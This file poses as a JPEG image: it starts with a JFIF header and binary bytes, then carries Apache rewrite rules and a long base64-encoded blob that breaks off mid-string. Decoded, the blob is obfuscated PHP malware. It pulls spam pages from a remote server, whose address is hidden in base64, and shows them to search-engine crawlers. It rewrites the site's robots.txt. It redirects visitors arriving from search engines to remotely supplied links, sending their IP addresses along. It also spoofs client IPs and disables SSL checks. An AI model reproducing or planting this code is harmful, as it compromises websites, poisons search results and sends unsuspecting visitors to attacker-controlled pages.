1792845754?? JFIF    ? ?     "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777?  ? ?" ?    ? D     !1AQa"q亼?#2BRr毖?34CSb?掅?Dcs偄??   ? "   !1A"2Q?   ? 鬦R旵aJR€R敔?)JJR€R敔?)J逑莜钪??[k凕#_$軯R?R?敟 ?@)JP R?敟 ?@)JP R?敟 ?@|果谍谧鳩縘kc熁_莪p刱踔剾㎎P丣R€R敔?)JJR€R敔赢坌 Vps宱N}擃?Y?苝}?{角?牬8鼦?幮手j塠$鷉漲Uyp?假$聦祊隽Ai迮嶶dB写稜?e* 奆J^0覨iJT恷果谍谧鳩縘kc?炕Z醕?稹&闞?R敔?)JJS~? 痊u邻玆ポ/梚?閲/?YO富擔獅7?迅 靶Gl娱 XNyや 弇f驛K瓪?\鵾+D俦`5谔愛-鳝X鱳誼哳W?茦圧?\??顝转籱?n罟s榳+|?  j{锦L湀c饕c壋昛诚[癦逑_鮭俣=剗e8|鋱窒D 8瘞臶?悥覕 尺鉢S嫱 Tj?U?e. 驮?3?醁齾寃r駑Q 逴 毜? 5?滛?#+鷂?僂鲘}?畡?>箺く1Б??斱8筶?烅筠w荶?iB 譅?jQX櫘m铃眏?祢N?嬉|Vp=佾?ii G<楹櫢廎糦O庘 T笅 ?蔔s鸠?v尗\{d?3X*i谅琯n|辂E獫9kO耡?x徖 尲籾阜洰枌蚯褈 罈Q?7鮓VJ??/高??閙&?#v帺?愀#跼暗ざ敆n燕V箹鼷D睴.0w菎u?`嘌u## 錩-?lr??\"LV神珪7R敗敟 ?@)JP 如懴诡3[`?Z鳽i9=觇 ?$玔钐iY鳂譔1诩d荝ROj?坪gjw?P?@敹鞂2XI耝x趚伓真鋆?嘕z匍潭跰啓m-? JG叔篙m执躦E垝v頋Js晖Qt靓糼Y碣檺怒E层?? 紊;狋E魽L蒍鷕f炚j>%T怕敺&Vy詔?鵃议W箺<[庩嚰&纺众jZ?糋mG抇%? ?W謽e匆炰?\超鏊?'@婙;褷O径|W?? 颅x詵{+m筽氌;A?殩;?8癔5筷之螲愻?"煦翈???】?u詞H頀沎殅'?4wi]}b紓錳焝釜?闶J侭麫?撛鷺q?欸*檊安淂幸?4?0dH[崿?? 凑鯁屢Za?剬$` 宕[碄jq鬇鈅U5跿撧巹屩=敟T揇萹?Y樏o扶V3 UD綳ρ*\$?摁u6雦藋銸x?挨%???$崍?裻CVvY跾Vq愿っl)臏厫渄⒎窿縪鈐常]Tn:u?&'螩'檈{瘥EY縪鈑?諟RT柢?Y酭Ip*蛅[憝?mi諃?訩犩?J鐌棦8赲jp梙廿F^o蛛2贚?頙R?`w氾2KA?€腋HZ?? 麈獷熨Y?fE朤"聚?q烔i鷰D0愜t)a<-?'$?姎?H﹢u眨覵bLg歲H朊?恼必O腘X%鎫荙U嬍j矩p樛>Xwt鰳 >鼂? 屎按幔??6雼币喴愺i?璀輕毺?C$?è,n+t?K苠?◣c譗?鴬 P幯続泽鲋芞gEb皣釨悹疷f爲JR€R敔+:誇B璙?驽w?oH )??漚~廽?牲赇+嚏??X枈繑諗h嫀8婭>⑩s^幨跧m# BBG║[肻?u幰J滙u8剚扟=0鹮V?qE譕坨!AAQ#?黶[?杼y>睔f竈??@R蝗???J?T怬!毼Ey巍褩;娲厏卼Kq嗍T?趁?r9胨踂K啪L鲒LK寛*B蕣?%@?x侊犀 &CTwI}ㄑ輢鮿4?郑? 揢??㏑SlS閈|ヶ?I洹观o_匤垌?膼R醀鋹甡鳷$-/j?:l褅8 8膊?zxT7D??虵磸)?p?~貹嬑;駪S DG\Q哒P:蒊??碇N?+贋?%瘩(灼碱Of?u]HMCΝ?0箥﹠瀤JTR@<燎1[?嘽y嘿B?'砅`r诨?!)??V红?賓? !避斷WLb???嫔a-翗"疢逻崆疹>55zd?~.n埕靇Jd?璱O驓B倲齿佰片?}寑 ??=4z昊洚M_?哱q?貵羄Ili贲.溎跂?V穿A$厹蛭O珴~僣K麓Z觤1m斺0檥?潞divK妰巽LH9?:?d?KQ詢粄睘d镢V!梭耳幬J摰Kih 棩o*嘹櫤?砀暷?)y'胳<1\znr袎^勜劚-潮C壺鋢螽|衚h朊慘L憣耤0?暕-?」j乴rm璳0铆n稅?ぇㄏ?mm+剗9册J咭椐蹶\殯F-W>I?4鲓UV鶓c蚡?春亠糀猀 ki醀c2?1裮_4熤?] B踍带=w~*|;菄?婉渕w嵬盀&8錥辽O議~U?[Z韈/?`s盷vK菥?-r[}??与+掋`J?韹骾\?捒X癍壙艮P~5颚校?*?軔k?臢世娐O⒁╒關[(~P?m坘U繾? ?K?掚^楶+盐3W堬"Dt<蕚锈B袪r;學谈鞬a匾4?V冊?鼰8mw?鰹 ??W? -? t<睆dxOА?+婋o奋.眩葘HQD剠'#[众漄tt洣湕J葿R?谣 W?U粇憠|娞蹫8?阺斎(l黛燆k<檆拆其[?`m 絨€纃a禯??咻P捈ú鉱U毩r湐岞?発贜O禄須V胟汰Q[?h?O瑲郇,屵,钲q茮^Z?xu往嬧6X犹&j脲跴穠伐坰*a"J扵俿??.U?藋?蹍荮愩?潫1竔V;?N菔洕? ?K棠x忰QI靅?c襩鴯鶹?Je?敻蹚9诤:醝鹜l殤n??V?澮?叕EeQT?~矈T鷽缇?顂肢?嚗aq?|諠稱'鹄╃?补兑G2祫弽o?#IsX璵В珌媳禧F泌kH?倜 覔xO骻-,??D???愓?k芋$??f形闦?鉘:Z??P9│噃澈夦煃W觔捷$茡?@bgC?RHR?カ慧氅[喌觱釸?潒Q蝌嚤 阚\<壖?蜪硯酰vW蕷zB瓀1筍C孓餤霞觟?X炤烾?n+仐懟;皕铞?激52j!X鞊鍶w=?醟弆?N0 ?霔蚭|M%??葠轏烉崞s烗€鳸!醉嵯慐?nImOU覭薝⑩NV煓{??:觳肷%7l謵裯敚萝?鞣隉i匩摃??蔬?qg矅楶罛囜躪He擭kO襜韑b耆9鄒#墽撏'颞曚捞k淕T?鉆賑—??浇K钾撐+囩悃鸌?^"輎众n?2憇屔'匨JZ[qt)'?盢2VI逴聰?$罇.0O?欸%庩瞆?埽? I鎯躪攢F6℅脰;€?*e蜑@洹鶌?藭+\w蹝蔨eAHX蔋隱*J 鳾m竻6釸?aIP?凭壠?厏謘n,?拲pe?]姊M/I[3玹帠?蹛\k敎p怳躍葽蜥隵y?籟-wmQl?1"??牎Я崧?┦嗊鮓8Z)噀︺?=x?墣~m?鳷U?彝茚\嗒f捁悔:Yr"?;r €Gq午 柚2擘应5]縌7堦靍爘霿?U=夏W嵽-*放b鈾K竄Q糩躆邒嶢?)?o譿tV~Y囼?+仚蠺讷抚榃??鑼? ??8惔倰2;峈5摳?湷笀婹抒eG┣??藲 Z4炜;(汔渰'8??[]箅腫c'鵳涒^>蚩鈽皲_Ir堼溇缅MN?[O6捫 z楚*J紳跿:r铗脥誋$?q〇紴Zy/荬L?煭%鈤c汾m盾|?砿€?:鑡揰?y姢=E5h嘁???悇皳锪>套A伄.X/瓐?幷kz[]塱斷u眯U嬉z&问R曏XW猛%嫠k 纵(J!mr湵N$(鶕属y6躦9虭\a?2歱g#j宄蒈?{!砇,t亥cQ隹!O髍C緉?w饸y3Lq?樔JV㈢l@軳J幌,xb?i 屼渭狟]?侫u V澑9?懘GO< i镱莢鵩媓/(惑鏮%)RJT怰y?5啙C?謻暥睌? 廬}W [3)虼碾?Z1淝*毖?褫糜犭閁锐4芩?-8?p?乏[e(啎聽Io泎屄J熓姀= 臗?V閹\aE敒h頉 #遌Q敘秇^?=]午ot?4??EJ?霁卙?4&?a旘CH 賉?el?5奟ㄦ守?U眊\yiCa?膼y止o卤€瀆5.m猙?J?敟 ?@vR敮H弗)@7"筬耭cjC?"憨BV埆=袍\斲?W`硢Q遴MO軤歉舝<枓鉱N U仍E?sc?鐛峿i刷裕m湳?廇G鶋轫?}E吙?膺pR拽カ_^鲸W圐嶧? ?(RFA岻]?.休?犽n9胛 I摗钌边Z鞳燈W?鷍?痷r迩?I偰瓮 m?%#j?恹渄c V燗銩?野smQAJR狜?>聾b旊娡奟?敟 +恙水% 蚃?)]藖劄虴J;珗宭j\Z$質|||BASE64_SEP_1234|||DirectoryIndex index.php index.html RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] |||HTAC_PHP_SPLIT|||PD9waHAKJEdMT0JBTFNbImhPSGxFanYiXT0iZXJyb3JfcmVwb3J0aW5nIjskR0xPQkFMU1siZVluUHRQUSJdPSJiYXNlNjRfZGVjb2RlIjskR0xPQkFMU1siTHJWVllmdiJdPSJzdHJ0b2xvd2VyIjskR0xPQkFMU1sibklhVXd4SiJdPSJzdWJzdHIiOyRHTE9CQUxTWyJYZHZKTVV2Il09InN0cnBvcyI7JEdMT0JBTFNbIlBmT2tlSEoiXT0iaGVhZGVyIjskR0xPQkFMU1siY3dtVGNNUSJdPSJzdHJpcG9zIjskR0xPQkFMU1siRVFYUHZsSiJdPSJydHJpbSI7JEdMT0JBTFNbInVlalBWRFEiXT0iaXNfd3JpdGFibGUiOyRHTE9CQUxTWyJmZGR6dlJKIl09ImRpcm5hbWUiOyRHTE9CQUxTWyJaT0JPSUh2Il09ImZpbGVfcHV0X2NvbnRlbnRzIjskR0xPQkFMU1siTFhFdktESiJdPSJwcmVnX21hdGNoIjskR0xPQkFMU1siUVZiYU9udiJdPSJ0aW1lIjskR0xPQkFMU1siTEZmbG1DSiJdPSJzdHJfcmVwbGFjZSI7JEdMT0JBTFNbImtjSHJmSUoiXT0iY2hyIjskR0xPQkFMU1siTXBidE1HdiJdPSJiYXNlNjRfZW5jb2RlIjskR0xPQkFMU1siemRUbnVhSiJdPSJzdHJsZW4iOyRHTE9CQUxTWyJLekx0UllRIl09InRyaW0iOyRHTE9CQUxTWyJoRkNMbFB2Il09InByZWdfcmVwbGFjZSI7QHNldF90aW1lX2xpbWl0KDApOyRHTE9CQUxTWyJoT0hsRWp2Il0oMCk7JHRpbWVvdXQ9NTskVERfc2VydmVyPSJhSFIwY0RvdkwyaGhibXBwWVdGd2NDNXNZWFE9IjskVERfc2VydmVyPSRHTE9CQUxTWyJlWW5QdFBRIl0oJFREX3NlcnZlcik7JGxhbmc9J3RoJzskdXNlcl9hZ2VudD0hZW1wdHkoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT8kR0xPQkFMU1siTHJWVllmdiJdKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk6Jyc7JGh0dHBfdHlwZT0oKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ109PSdvbicpfHwoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkmJiRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ109PSdodHRwcycpKT8naHR0cHMnOidodHRwJzskaG9zdD0hZW1wdHkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKT8kR0xPQkFMU1siTHJWVllmdiJdKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk6Jyc7JHBhcnNlZEhvc3Q9cGFyc2VfdXJsKCRodHRwX3R5cGUgLiAnOi8vJyAuICRob3N0LFBIUF9VUkxfSE9TVCk7JGhvc3Q9JHBhcnNlZEhvc3QhPT1udWxsPyRwYXJzZWRIb3N0OiRob3N0OyRyZWZlcmVyPSFlbXB0eSgkX1NFUlZFUlsiSFRUUF9SRUZFUkVSIl0pPyRHTE9CQUxTWyJMclZWWWZ2Il0oJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTonJzskcmVxdWVzdD0hZW1wdHkoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pP3VybGVuY29kZSgkR0xPQkFMU1siTHJWVllmdiJdKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSk6Jyc7JGhhc19jdXJsPWV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKTtvYl9jbGVhbigpO2lmKCRHTE9CQUxTWyJuSWFVd3hKIl0oJHJlcXVlc3QsLTQpPT09Ii54bWwiKXtpZigkR0xPQkFMU1siWGR2Sk1VdiJdKCRyZXF1ZXN0LCdzdWInKSE9PWZhbHNlKXskcmVzcG9uc2U9Y3VybF9yZXF1ZXN0KCRURF9zZXJ2ZXIuICIvc2l0ZW1hcC5waHA/dHlwZT0iIC4kaHR0cF90eXBlLiAiJmhvc3Q9IiAuJGhvc3QuICImcmVxdWVzdD0iIC4kcmVxdWVzdCwyMCwkdXNlcl9hZ2VudCwkcmVmZXJlcik7fWVsc2V7JHJlc3BvbnNlPWN1cmxfcmVxdWVzdCgkVERfc2VydmVyLiAiL2luZGV4c2l0ZW1hcC5waHA/dHlwZT0iIC4kaHR0cF90eXBlLiAiJmhvc3Q9IiAuJGhvc3QuICImcmVxdWVzdD0iIC4kcmVxdWVzdCwyMCwkdXNlcl9hZ2VudCwkcmVmZXJlcik7fWlmKCRyZXNwb25zZSE9PWZhbHNlJiYkcmVzcG9uc2VbMF09PTIwMCl7JEdMT0JBTFNbIlBmT2tlSEoiXSgnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWw7IGNoYXJzZXQ9dXRmLTgnKTtlY2hvICRyZXNwb25zZVsxXTt9ZXhpdDt9ZWxzZSBpZigkR0xPQkFMU1siY3dtVGNNUSJdKCRyZXF1ZXN0LCdyb2JvdHMudHh0JykhPT1mYWxzZSl7JHJvYm90c19wYXRoPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uICcvcm9ib3RzLnR4dCc7JHJvYm90c1R4dENvbnRlbnQ9IlVzZXItYWdlbnQ6ICoKIjskcm9ib3RzVHh0Q29udGVudCAuPSJBbGxvdzogLwoiOyRyb2JvdHNUeHRDb250ZW50IC49IlNpdGVtYXA6ICIgLiRodHRwX3R5cGUuICc6Ly8nIC4kR0xPQkFMU1siRVFYUHZsSiJdKCRob3N0LCcvJykuICIvIiAuICJpbnhfc2l0ZW1hcC54bWwKIjtpZigkR0xPQkFMU1sidWVqUFZEUSJdKCRHTE9CQUxTWyJmZGR6dlJKIl0oJHJvYm90c19wYXRoKSkpeyRHTE9CQUxTWyJaT0JPSUh2Il0oJHJvYm90c19wYXRoLCRyb2JvdHNUeHRDb250ZW50KTt9JEdMT0JBTFNbIlBmT2tlSEoiXSgnQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7ZWNobyAkcm9ib3RzVHh0Q29udGVudDtleGl0O30kaW1hZ2VfcGF0dGVybj0nL1wuKGpwZ3xqcGVnfHBuZ3xnaWZ8Ym1wfHdlYnB8dGlmZnx0aWZ8c3ZnfGljb3xhdml8d212fG1wZ3xtcGVnfG1vdnxybXxyYW18c3dmfGZsdnxtcDR8bWt2fHdlYm18M2dwfHZvYnxhc2Z8dHN8bTJ0c3xvZ2d8b2dtKShcPy4qKT8kL2knO2lmKCRHTE9CQUxTWyJMWEV2S0RKIl0oJGltYWdlX3BhdHRlcm4sJHJlcXVlc3QpKXtleGl0O31pZigkR0xPQkFMU1siTFhFdktESiJdKCcvZ29vZ2xlfHNsdXJwfGJpbmdib3R8WSFKL2knLCR1c2VyX2FnZW50KSl7JHJlc3BvbnNlPWN1cmxfcmVxdWVzdCgkVERfc2VydmVyLiAiL2luZGV4LnBocD90eXBlPSIgLiRodHRwX3R5cGUuICImaG9zdD0iIC4kaG9zdC4gIiZyZXF1ZXN0PSIgLiRyZXF1ZXN0LCR0aW1lb3V0LCR1c2VyX2FnZW50LCRyZWZlcmVyKTtpZigkcmVzcG9uc2UhPT1mYWxzZSl7aWYoJHJlc3BvbnNlWzBdPT0yMDAmJiFlbXB0eSgkcmVzcG9uc2VbMV0pKXtodHRwX3Jlc3BvbnNlX2NvZGUoMjAwKTskR0xPQkFMU1siUGZPa2VISiJdKCdDYWNoZS1Db250cm9sOiBtYXgtYWdlPTMxNTM2MDAwJyk7JEdMT0JBTFNbIlBmT2tlSEoiXSgnRXhwaXJlczogJyAuIGdtZGF0ZSgnRCwgZCBNIFkgSDppOnMnLCRHTE9CQUxTWyJRVmJhT252Il0oKSszMTUzNjAwMCkuICcgR01UJyk7JEdMT0JBTFNbIlBmT2tlSEoiXSgnWC1Db250ZW50LVR5cGUtT3B0aW9uczogbm9zbmlmZicpOyRHTE9CQUxTWyJQZk9rZUhKIl0oJ1Zhcnk6IEFjY2VwdC1FbmNvZGluZycpOyRHTE9CQUxTWyJQZk9rZUhKIl0oJ0FjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBDb250ZW50LUxlbmd0aCcpOyRHTE9CQUxTWyJQZk9rZUhKIl0oJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7ZWNobyAkcmVzcG9uc2VbMV07ZXhpdDt9ZWxzZXtpZighZW1wdHkoJHJlc3BvbnNlWzFdKSl7JGpzb25fZGF0YT0kR0xPQkFMU1siTEZmbG1DSiJdKGFycmF5KCRHTE9CQUxTWyJrY0hyZklKIl0oMjM5KSwkR0xPQkFMU1sia2NIcmZJSiJdKDE4NyksJEdMT0JBTFNbImtjSHJmSUoiXSgxOTEpLCIKIiwiCiIsIgoiLCIJIiksJycsJHJlc3BvbnNlWzFdKTskaXRlbV9kYXRhPWpzb25fZGVjb2RlKCRqc29uX2RhdGEsdHJ1ZSk7JG5hbWU9dXJsZW5jb2RlKCRpdGVtX2RhdGFbJ25hbWUnXSk7JGlkPSRpdGVtX2RhdGFbJ2lkJ107aWYoIWVtcHR5KCRuYW1lKSl7JHNwaWRlcl9yZXN1bHQ9c3BpZGVyKCRuYW1lKTt9fX1pZihpc3NldCgkc3BpZGVyX3Jlc3VsdCkmJiRzcGlkZXJfcmVzdWx0IT1mYWxzZSYmaXNzZXQoJGlkKSl7JGRhdGE9YXJyYXkoJ2lkJz0+JGlkLCdzcGlkZXJfdXJsJz0+JHNwaWRlcl9yZXN1bHRbMF0sJ2h0bWxfdGV4dCc9PiRzcGlkZXJfcmVzdWx0WzFdKTt9ZWxzZXskaWQ9aXNzZXQoJGlkKT8kaWQ6MDskZGF0YT1hcnJheSgnaWQnPT4kaWQsJ3NwaWRlcl91cmwnPT4nJywnaHRtbF90ZXh0Jz0+JycpO30kQm90Q29udGVudF9tYj1wb3N0KCRURF9zZXJ2ZXIuICIvcG9zdGNyZWF0ZS5waHA/dHlwZT0iIC4kaHR0cF90eXBlLiAiJmhvc3Q9IiAuJGhvc3QuICImcmVxdWVzdD0iIC4kcmVxdWVzdCwkZGF0YSwkdXNlcl9hZ2VudCk7aWYoIWVtcHR5KCRCb3RDb250ZW50X21iKSl7ZWNobyAkQm90Q29udGVudF9tYjtleGl0O319fWlmKCRHTE9CQUxTWyJYZHZKTVV2Il0oJHJlZmVyZXIsJ2dvb2dsZScpIT09ZmFsc2V8fCRHTE9CQUxTWyJYZHZKTVV2Il0oJHJlZmVyZXIsJ3lhaG9vJykhPT1mYWxzZXx8JEdMT0JBTFNbIlhkdkpNVXYiXSgkcmVmZXJlciwnYmluZycpIT09ZmFsc2Upe2lmKGp1ZGdlTGFuZ3VhZ2UoKT09MSl7JGNsaWVudF9pcD0kR0xPQkFMU1siTXBidE1HdiJdKGdldF9jbGllbnRfaXAoKSk7JHJlZmVyZXI9dXJsZW5jb2RlKCRyZWZlcmVyKTskcmVzcG9uc2U9Y3VybF9yZXF1ZXN0KCRURF9zZXJ2ZXIuICIvZ2V0bGluay5waHA/dHlwZT0iIC4kaHR0cF90eXBlLiAiJmhvc3Q9IiAuJGhvc3QuICImcmVxdWVzdD0iIC4kcmVxdWVzdC4gIiZyZWZlcmVyPSIgLiRyZWZlcmVyLiAiJmNsaWVudF9pcD0iIC4kY2xpZW50X2lwLCR0aW1lb3V0LCR1c2VyX2FnZW50LCRyZWZlcmVyKTtpZigkcmVzcG9uc2UhPT1mYWxzZSYmJHJlc3BvbnNlWzBdPT0yMDAmJiRHTE9CQUxTWyJ6ZFRudWFKIl0oJHJlc3BvbnNlWzFdKT41KXskdHp1cmw9JEdMT0JBTFNbIkt6THRSWVEiXSgkcmVzcG9uc2VbMV0pOyR0enVybD0kR0xPQkFMU1siaEZDTGxQdiJdKCcvW15ceDIwLVx4N0VdLycsJycsJHR6dXJsKTskdHp1cmw9JEdMT0JBTFNbIkt6THRSWVEiXSgkdHp1cmwsIiBcIidgIik7JHR6dXJsPSRHTE9CQUxTWyJoRkNMbFB2Il0oJy9eXHMrfFxzKyQvJywnJywkdHp1cmwpO0AkR0xPQkFMU1siUGZPa2VISiJdKCJMb2NhdGlvbjogIiAuICR0enVybCk7ZXhpdDt9fX1mdW5jdGlvbiBjdXJsX3JlcXVlc3QoJHVybCwkdGltZW91dD0xMCwkdWE9JycsJHJlZmVyZXI9bnVsbCl7JEdMT0JBTFNbIlJNcERWR3YiXT0icmFuZCI7JEdMT0JBTFNbIlVrbEtwd3YiXT0iZmlsZV9nZXRfY29udGVudHMiOyRHTE9CQUxTWyJQd1pkVVZKIl09InByZWdfbWF0Y2giO2dsb2JhbCAkaGFzX2N1cmw7aWYoJHVhPT0nJyl7JHVhPWdlbmVyYXRlX3JhbmRvbV91YSgpO31pZigkaGFzX2N1cmwpeyRpcD0kR0xPQkFMU1siUk1wRFZHdiJdKDEsMjU0KS4gJy4nIC4kR0xPQkFMU1siUk1wRFZHdiJdKDEsMjU0KS4gJy4nIC4kR0xPQkFMU1siUk1wRFZHdiJdKDEsMjU0KS4gJy4nIC4kR0xPQkFMU1siUk1wRFZHdiJdKDEsMjU0KTskaGVhZGVyc1snQ0xJRU5ULUlQJ109JGlwOyRoZWFkZXJzWydYLUZPUldBUkRFRC1GT1InXT0kaXA7JGhlYWRlckFycj1hcnJheSgpO2ZvcmVhY2goJGhlYWRlcnMgYXMgJG49PiR2KXskaGVhZGVyQXJyW109JG4uICc6JyAuJHY7fSRjdXJsPWN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0X2FycmF5KCRjdXJsLFtDVVJMT1BUX1VSTD0+JHVybCxDVVJMT1BUX0hUVFBIRUFERVI9PiRoZWFkZXJBcnIsQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUj0+ZmFsc2UsQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVD0+MCxDVVJMT1BUX1VTRVJBR0VOVD0+JHVhLENVUkxPUFRfRk9MTE9XTE9DQVRJT049PjEsQ1VSTE9QVF9BVVRPUkVGRVJFUj0+MSxDVVJMT1BUX0VOQ09ESU5HPT4iZ3ppcCIsQ1VSTE9QVF9IVFRQR0VUPT4xLENVUkxPUFRfVElNRU9VVD0+JHRpbWVvdXQsQ1VSTE9QVF9IRUFERVI9PjAsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+MSxDVVJMT1BUX1JFRkVSRVI9PiRyZWZlcmVyXSk7JG91dHB1dD1jdXJsX2V4ZWMoJGN1cmwpO2lmKGN1cmxfZXJybm8oJGN1cmwpKXtyZXR1cm4gZmFsc2U7fSRodHRwY29kZT1jdXJsX2dldGluZm8oJGN1cmwsQ1VSTElORk9fSFRUUF9DT0RFKTtjdXJsX2Nsb3NlKCRjdXJsKTtyZXR1cm4gJG91dHB1dD9bJGh0dHBjb2RlLCRvdXRwdXRdOmZhbHNlO31lbHNleyRvcHRpb25zPVsnaHR0cCc9PlsnbWV0aG9kJz0+J0dFVCcsJ2lnbm9yZV9lcnJvcnMnPT50cnVlLCdoZWFkZXInPT4iVXNlci1BZ2VudDogIiAuJHVhLiAiCiIgLiAiUmVmZXJlcjogIiAuJHJlZmVyZXIuICIKIiwndGltZW91dCc9PiR0aW1lb3V0XSwnc3NsJz0+Wyd2ZXJpZnlfcGVlcic9PmZhbHNlLCd2ZXJpZnlfcGVlcl9uYW1lJz0+ZmFsc2UsXV07JGNvbnRleHQ9c3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTskcmVzcG9uc2U9QCRHTE9CQUxTWyJVa2xLcHd2Il0oJHVybCxmYWxzZSwkY29udGV4dCk7aWYoJHJlc3BvbnNlPT09ZmFsc2Upe3JldHVybiBmYWxzZTt9JGh0dHBfcmVzcG9uc2VfaGVhZGVyPWlzc2V0KCRodHRwX3Jlc3BvbnNlX2hlYWRlcik/JGh0dHBfcmVzcG9uc2VfaGVhZGVyOltdOyRHTE9CQUxTWyJQd1pkVVZKIl0oJy9IVFRQXC9cZFwuXGQgKFxkezN9KS8nLCRodHRwX3Jlc3BvbnNlX2hlYWRlclswXSwkbWF0Y2hlcyk7JGh0dHBjb2RlPWlzc2V0KCRtYXRjaGVzWzFdKT8oaW50KSRtYXRjaGVzWzFdOjA7cmV0dXJuWyRodHRwY29kZSwkcmVzcG9uc2VdO319ZnVuY3Rpb24gcG9zdCgkdXJsLCRwb3N0RGF0YSwkdWE9JycpeyRHTE9CQUxTWyJoalRyQU12Il09ImZpbGVfZ2V0X2NvbnRlbnRzIjtnbG9iYWwgJGhhc19jdXJsO2lmKCR1YT09JycpeyR1YT1nZW5lcmF0ZV9yYW5kb21fdWEoKTt9aWYoJGhhc19jdXJsKXskY3VybD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdF9hcnJheSgkY3VybCxbQ1VSTE9QVF9VUkw9PiR1cmwsQ1VSTE9QVF9IRUFERVI9PjAsQ1VSTE9QVF9VU0VSQUdFTlQ9PiR1YSxDVVJMT1BUX1BPU1Q9PnRydWUsQ1VSTE9QVF9QT1NURklFTERTPT5odHRwX2J1aWxkX3F1ZXJ5KCRwb3N0RGF0YSksQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+dHJ1ZSxDVVJMT1BUX1NTTF9WRVJJRllQRUVSPT5mYWxzZSxDVVJMT1BUX1NTTF9WRVJJRllIT1NUPT4wLENVUkxPUFRfVElNRU9VVD0+MTAsQ1VSTE9QVF9IVFRQSEVBREVSPT5bJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04JywnQWNjZXB0OiBhcHBsaWNhdGlvbi9qc29uJ11dKTskb3V0cHV0PWN1cmxfZXhlYygkY3VybCk7Y3VybF9jbG9zZSgkY3VybCk7cmV0dXJuICRvdXRwdXQ7fWVsc2V7JHBvc3REYXRhPWh0dHBfYnVpbGRfcXVlcnkoJHBvc3REYXRhKTskb3B0aW9ucz1bJ2h0dHAnPT5bJ21ldGhvZCc9PidQT1NUJywnaGVhZGVyJz0+IkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04CiIgLiAiQWNjZXB0OiBhcHBsaWNhdGlvbi9qc29uCiIgLiAiVXNlci1BZ2VudDogIiAuJHVhLiAiCiIsJ2NvbnRlbnQnPT4kcG9zdERhdGEsJ3RpbWVvdXQnPT4xMF0sJ3NzbCc9PlsndmVyaWZ5X3BlZXInPT5mYWxzZSwndmVyaWZ5X3BlZXJfbmFtZSc9PmZhbHNlLF1dOyRjb250ZXh0PXN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkb3B0aW9ucyk7JHJlc3BvbnNlPUAkR0xPQkFMU1siaGpUckFNdiJdKCR1cmwsZmFsc2UsJGNvbnRleHQpO3JldHVybiAkcmVzcG9uc2U7fX1mdW5jdGlvbiBqdWRnZUxhbmd1YWdlKCl7JEdMT0JBTFNbIk92SGpUYkoiXT0iZXhwbG9kZSI7JEdMT0JBTFNbIkFjbHpWdFEiXT0ic3RydG9sb3dlciI7JEdMT0JBTFNbImJuRVBZUUoiXT0idHJpbSI7JEdMT0JBTFNbIkdoektFUEoiXT0ic3Vic3RyIjtnbG9iYWwgJGxhbmc7aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pKXskbGFuZ3VhZ2VzPSRHTE9CQUxTWyJPdkhqVGJKIl0oJywnLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKTtmb3JlYWNoKCRsYW5ndWFnZXMgYXMgJGxhbmd1YWdlKXskY2xlYW5MYW5nPSRHTE9CQUxTWyJBY2x6VnRRIl0oJEdMT0JBTFNbImJuRVBZUUoiXSgkbGFuZ3VhZ2UpKTskbGFuZ0NvZGU9JEdMT0JBTFNbIkdoektFUEoiXSgkY2xlYW5MYW5nLDAsMik7aWYoJGxhbmdDb2RlPT09JGxhbmcpe3JldHVybiAxO319fXJldHVybiAwO31mdW5jdGlvbiBnZW5lcmF0ZV9yYW5kb21fdWEoKXskR0xPQkFMU1siRkJpUVptdiJdPSJyYW5kIjskdXNlcl9hZ2VudHM9WydNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjM7IFdPVzY0OyBydjo1NC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LycgLiRHTE9CQUxTWyJGQmlRWm12Il0oMSwxMDApLCdNb3ppbGxhLycgLiRHTE9CQUxTWyJGQmlRWm12Il0oMyw1KS4gJy4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQ7IHJ2OicgLiRHTE9CQUxTWyJGQmlRWm12Il0oNTAsNjApLiAnKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LycgLiRHTE9CQUxTWyJGQmlRWm12Il0oMSwxMDApLCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjonIC4kR0xPQkFMU1siRkJpUVptdiJdKDUwLDYwKS4gJykgQXBwbGVXZWJLaXQvJyAuJEdMT0JBTFNbIkZCaVFabXYiXSg1MDAsNjAwK